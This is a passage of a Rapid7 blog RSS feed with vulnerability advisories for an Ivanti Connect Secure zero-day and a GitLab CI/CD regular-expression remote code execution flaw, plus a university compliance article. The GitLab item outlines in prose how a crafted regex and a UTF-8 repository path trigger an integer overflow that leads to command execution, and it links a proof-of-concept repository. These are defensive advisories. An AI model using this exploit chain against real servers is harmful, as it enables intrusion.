      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 13, 2026, Ivanti </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>published a security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-104935"><span style='font-size: undefined;'>CVE-2026-104935</span></a><span style='font-size: undefined;'>, a high-severity authentication bypass by spoofing (</span><a href="https://cwe.mitre.org/data/definitions/290.html"><span style='font-size: undefined;'>CWE-290</span></a><span style='font-size: undefined;'>) affecting Ivanti Connect Secure (ICS). The vulnerability has a CVSSv3.0 score of </span><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L"><span style='font-size: undefined;'>8.6</span></a><span style='font-size: undefined;'> and allows a remote, unauthenticated attacker to execute arbitrary commands.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ivanti reports that exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers. This indicates that exploitation has been occurring as a zero-day vulnerability. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) confirms exploitation in the wild, and added CVE-2026-104935 to its </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>Known Exploited Vulnerabilities</span></a><span style='font-size: undefined;'> (KEV) catalog on the same day as the vendor's public disclosure. The digital forensics firm Volexity has published a </span><a href="https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/"><span style='font-size: undefined;'>detailed blog post</span></a><span style='font-size: undefined;'> describing the threat actor activity, which was detected in early October 2026. Volexity notes that in addition to leveraging CVE-2026-104935 as a zero-day, the threat actor also leveraged an as-yet unpatched privilege escalation vulnerability which Ivanti are planning to patch at a later date.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>According to the vendor, a portion of the vulnerability was initially discovered through its product security program and patched in the July 2026 release of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'>. Exploitation occurred while Ivanti was working to backport the fix to the remaining supported versions.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ivanti Connect Secure is a popular enterprise VPN solution and naturally sits on the edge of a corporate environment. The product has a history of being targeted by attackers, with zero-day exploitation of other vulnerabilities occurring back in both </span><a href="https://www.rapid7.com/blog/post/2024/01/11/etr-zero-day-exploitation-of-ivanti-connect-secure-and-policy-secure-gateways/"><span style='font-size: undefined;'>2024</span></a><span style='font-size: undefined;'> and </span><a href="https://www.rapid7.com/blog/post/2025/01/08/etr-cve-2025-0282-ivanti-connect-secure-zero-day-exploited-in-the-wild/"><span style='font-size: undefined;'>2025</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Given the confirmed exploitation, the ability to execute commands without authentication, along with the history of the product, Rapid7 recommends that organizations running affected versions apply the appropriate update on an emergency basis outside of normal patching cycles.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Vendor-supplied updates are available to remediate CVE-2026-104935. Ivanti lists the following affected and resolved versions:</span></p><p></p><table><colgroup data-width='500'><col style="width:52.56410256410257%"/><col style="width:47.43589743589743%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Ivanti Connect Secure affected versions</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Resolved versions</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.1</span><span style='font-size: undefined;'> and prior in the applicable code line</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.2.2</span><span style='font-size: undefined;'> and prior in the applicable code line</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.4</span><span style='font-size: undefined;'> and prior in the applicable code line</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note that the vendor advisory confirms that versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.7.x</span><span style='font-size: undefined;'> and below are unaffected.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At the time of the advisory, Ivanti states that reliable indicators of compromise are not available, however Volexity have published several </span><a href="https://github.com/volexity/threat-intel/tree/main/2026/2026-10-13%20Ivanti"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>. Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Customers who suspect exploitation should follow the vendor's </span><a href="https://forums.ivanti.com/s/article/Ivanti-Connect-Secure-22-8x-and-25x-Recovery-Steps"><span style='font-size: undefined;'>recovery steps</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the vendor's </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-104935 with a vulnerability check expected to be available in the October 14 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 13, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-ivanti-connect-secure-zero-day-exploited-in-the-wild-cve-2026-104935</link>
      <guid isPermaLink="false">blt5ab6e5d530b0db28</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 13 Oct 2026 17:06:05 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-97229: Critical Unauthenticated Remote Code Execution in GitLab]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 12, 2026, GitLab </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/"><span style='font-size: undefined;'>published a critical patch release</span></a><span style='font-size: undefined;'> for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-97229"><span style='font-size: undefined;'>CVE-2026-97229</span></a><span style='font-size: undefined;'>, an integer overflow or wraparound (</span><a href="https://cwe.mitre.org/data/definitions/190.html"><span style='font-size: undefined;'>CWE-190</span></a><span style='font-size: undefined;'>) in the CI/CD regular expression compiler affecting GitLab Community Edition (CE) and Enterprise Edition (EE). GitLab assigned the vulnerability a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"><span style='font-size: undefined;'>10.0</span></a><span style='font-size: undefined;'>. Under certain conditions, a remote attacker can execute arbitrary code on an affected GitLab server through a specially crafted regular expression stored in a malicious CI/CD configuration. While the vendor supplied CVSS score indicates that exploitation is fully unauthenticated, in reproducing the exploit it was noted that an attacker must have a mechanism to plant a malicious CI/CD configuration to a repository prior to triggering the vulnerability. On GitLab instances where new users can self register and create projects, this constraint is removed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability affects self-managed GitLab instances across all deployment types. GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As of this writing, there is no confirmed in-the-wild exploitation of CVE-2026-97229. However, Rapid7 Intelligence has </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC" target="_self"><span style='font-size: undefined;'>independently reproduced arbitrary code execution</span></a><span style='font-size: undefined;'> on an unpatched, official GitLab CE image. Given the vulnerability's maximum CVSS score, network-accessible trigger, and code execution in a GitLab application worker, Rapid7 recommends upgrading affected self-managed instances on an urgent basis, outside of normal patch cycles.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7's testing found that an attacker must first be able to commit a malicious CI/CD configuration file .gitlab-ci.yml, and a repository path containing UTF-8 characters to a branch in a public project. For example, an ordinary account can satisfy this prerequisite by creating a public project on a self-managed GitLab instance where that functionality is permitted. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The crafted regular expression initially compiles in a compact US-ASCII representation and passes GitLab's regular expression validation. When it is evaluated against a specially formed, valid UTF-8 repository path, Ruby's Onigmo regular expression engine recompiles it for the new encoding after those checks have completed. An integer overflow in the compiler's program-size calculation then causes invalid regular expression instructions to be generated. The resulting loss of control-flow integrity can be used to execute attacker-controlled Onigmo VM operations in the Ruby process and run an operating system command as the GitLab </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>git</span><span style='font-size: undefined;'> user.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 validated the complete chain against the official GitLab </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.1</span><span style='font-size: undefined;'> CE Linux amd64 image with address space layout randomization enabled. The same input did not execute against the official patched </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.2</span><span style='font-size: undefined;'> CE image. Further root cause and exploit-chain details can be found in a separate </span><a href="https://www.rapid7.com/blog/post/ra-gitlab-ci-cd-regex-integer-overflow-technical-analysis-cve-2026-97229/"><span style='font-size: undefined;'>Rapid7 technical analysis</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A vendor-provided patch is available to remediate CVE-2026-97229. Organizations running affected self-managed GitLab CE or EE instances should immediately upgrade to a fixed version, without waiting for a regular patch cycle:</span></p><p></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected GitLab CE/EE versions</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed version</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.2</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.2.8</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.2.8</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.3</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.3.5</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.3.5</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.2</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.2</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab.com has already been updated, and GitLab Dedicated customers do not need to take action. Until affected self-managed instances can be upgraded, restricting anonymous access to public projects and preventing untrusted users from creating or writing to public projects can reduce exposure to the exploit path demonstrated by Rapid7. These controls address only the demonstrated delivery path and do not remediate the vulnerable regular expression compiler.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to GitLab's </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-97229 with an authenticated vulnerability check expected to be available in today’s (October 13) content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 13, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><ul><li><span style='font-size: undefined;'>Added Rapid7 </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC"><span style='font-size: undefined;'>PoC</span></a><span style='font-size: undefined;'> Github repo link.</span></li></ul><li><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 16, 2026</strong></span><span style='font-size: undefined;'>: Added link to Rapid7 </span><a href="https://www.rapid7.com/blog/post/ra-gitlab-ci-cd-regex-integer-overflow-technical-analysis-cve-2026-97229/" target="_self"><span style='font-size: undefined;'>technical analysis</span></a><span style='font-size: undefined;'>.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-97229-critical-unauthenticated-remote-code-execution-in-gitlab</link>
      <guid isPermaLink="false">blt62de24e2cbb3d427</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Analysis]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 13 Oct 2026 11:29:03 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up: A Collection of What Can Only Be Called Eclectic Modules]]></title>
      <description><![CDATA[]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-a-collection-of-what-can-only-be-called-eclectic-modules</link>
      <guid isPermaLink="false">blt981c246126d021a2</guid>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[The Metasploit Team]]></dc:creator>
      <pubDate>Fri, 09 Oct 2026 11:00:52 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Four compliance frameworks, one security team: Why fragmented university security raises regulatory risk]]></title>
      <description><![CDATA[<p>In <a class="embedded-entry redactor-component block-entry" type="entry" target="_self" href="/blog/post/it-higher-education-under-siege-fragmented-security" data-sys-entry-uid="blt67e68f8418d70fad" data-sys-entry-locale="en-us" data-sys-content-type-uid="blog_post" sys-style-type="link">Part 1 </a>of this series, we looked at the security challenges created by fragmented, campus-by-campus environments. Higher education also faces a second pressure that makes that fragmentation harder to sustain: overlapping compliance obligations across FERPA, GLBA, HIPAA, and CMMC.</p><p>Each framework brings different requirements, reporting timelines, and consequences for failure. Managing them across one institution is already complex, but across a multi-campus university system with separate tools, staff, data stores, and governance practices, it becomes much harder to establish what happened, what data was involved, and which reporting requirements apply. With universities already facing an average of 4,388 cyberattacks per organization per week, according to the figures cited in Part 1, that regulatory complexity is becoming an operational security problem as much as a compliance one. </p><h2>FERPA puts universities on a 24-hour clock</h2><p>The Family Educational Rights and Privacy Act has governed the privacy of student education records since 1974, but the pressure on security teams becomes much more immediate when financial aid information is involved. If a breach compromises that data, institutions must notify the Department of Education’s Federal Student Aid office within 24 hours of discovery, leaving very little time to establish the scope of an incident while the response is still underway.</p><p>A ransomware attack discovered at 9 PM on a Friday makes the challenge easier to picture. By 9 PM Saturday, the institution may need to determine whether financial aid data was involved, understand which systems and students were affected, coordinate with legal teams, and prepare regulatory notification, all while investigators are still containing the incident and establishing what else the attackers accessed. In a multi-campus environment, that gets harder when financial aid data is spread across separate systems or when the initial discovery happens well after the compromise began.</p><h2>GLBA brings financial-sector obligations into higher education</h2><p>Universities may not look like traditional financial institutions, but their role in student lending and financial aid brings them within the scope of the Gramm-Leach-Bliley Act’s Safeguards Rule. Covered institutions are expected to maintain a written information security program addressing areas including risk assessment, access controls, encryption, multi-factor authentication, incident response, and vendor oversight.</p><p>Reporting requirements can add further pressure. If a security event affects 500 or more consumers, the draft notes that institutions must notify federal law enforcement immediately after discovering the breach. In a university environment, where shared financial aid systems may contain records belonging to thousands of students across multiple campuses, that threshold can be reached quickly.</p><p>The multi-campus structure matters here because financial aid data rarely follows neat organizational boundaries. Students transfer between campuses, shared services may centralize information, and one system may support several institutions. A breach that begins at one campus can therefore create obligations for the wider university system, making it important to understand the scope of the incident beyond the environment where it was first detected. </p><h2>HIPAA reaches well beyond the university hospital</h2><p>Protected health information can exist across a much wider university environment than the hospital alone. Student health centers, counseling services, physical therapy programs, and research projects involving human subjects may all create, receive, transmit, or maintain health data, sometimes through systems that have been procured and managed separately from central IT.</p><p>A mid-sized university with a health clinic, counseling center, physical therapy program, and clinical research lab, for example, could be handling significant volumes of PHI across several independently managed environments. If one of those systems is compromised, the security team needs to establish quickly whether health information was involved and how far the incident spread.</p><p>Under the requirements set out in the draft, breaches affecting 500 or more individuals must be reported to the Department of Health and Human Services within 60 days of discovery, while some incidents also trigger media notification requirements. For universities operating across several states or with online programs, the picture becomes more complicated again. Without a reliable view of where PHI resides across the institution, determining whether those reporting obligations have been triggered can itself become part of the incident response challenge. </p><h2>CMMC raises the stakes for university research</h2><p>CMMC creates a different kind of pressure for institutions conducting Department of Defense-funded research or handling Controlled Unclassified Information. Research computing environments are often among the most decentralized parts of a university: individual labs build their own systems, principal investigators make independent technology decisions, and networks can evolve over years without the consistency found in centrally managed administrative IT.</p><p>CMMC Level 2 requires organizations to demonstrate implementation of 110 security practices drawn from NIST 800-171. Meeting those requirements across a diverse research estate can be difficult without limiting the flexibility researchers need to conduct their work. For institutions that rely heavily on federal research funding, the consequences also extend beyond a conventional compliance penalty because failure to meet CMMC requirements can affect contract eligibility. </p><h2>One incident can trigger several compliance obligations</h2><p>The real operational difficulty appears when several of these frameworks apply to the same incident. A large research university may operate student financial aid systems, health services, a hospital, and DoD-funded research environments, creating the possibility that FERPA, GLBA, HIPAA, and CMMC obligations all come into play during one investigation.</p><p>Imagine ransomware is first detected on a shared administrative system. As the investigation develops, the compromised account is found to have accessed financial aid records, student health information, and a research environment containing CUI. The university now has to understand several categories of regulated data, determine which reporting thresholds have been met, coordinate with different agencies, and maintain the evidence required for each process while still responding to the attack.</p><p>That is difficult even with centralized visibility. When security data, incident records, and compliance evidence sit across different campus tools and teams, building a reliable picture of the incident takes longer and introduces more opportunities for information to be missed. </p><h2>Preparing for compliance across a multi-campus system</h2><p>Meeting overlapping compliance requirements depends on being able to answer a relatively small set of questions quickly: where regulated data lives, whether it was affected, how the attacker reached it, and what happened next. University systems need enough shared visibility across campuses to answer those questions without reconstructing the entire incident manually every time something happens.</p><p>That includes consistent data classification, centralized access to security and compliance evidence, and incident response processes that have already been tested against the reporting windows institutions may face. Automation can also help teams establish the scope and context of an incident more quickly, particularly where reporting deadlines are measured in hours rather than days.</p><p>The aim is to preserve the autonomy individual campuses and research environments require while giving the wider university system enough visibility and coordination to respond consistently when regulated data is involved. As the number of overlapping obligations grows, fragmented security becomes harder to separate from compliance risk.</p><p>In Part 3 of this series, we’ll look at how a consolidated security architecture can support that model across multiple campuses, from shared visibility and threat intelligence to more coordinated detection and response.</p><p>Rapid7 helps more than 11,000 organizations worldwide take command of their security. Learn more at <a href="https://www.rapid7.com/solutions/industry/state-and-local-government-sled/" target="_self">rapid7.com/sled</a>.</p>]]></description>
      <link>https://www.rapid7.com/blog/post/it-compliance-frameworks-for-universities-drowning-in-regulatory-risk</link>
      <guid isPermaLink="false">blte76b6c0c0f9b2288</guid>
      <category><![CDATA[Compliance]]></category>
      <category><![CDATA[Higher Education]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 07 Oct 2026 19:29:23 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
  </channel>
</rss>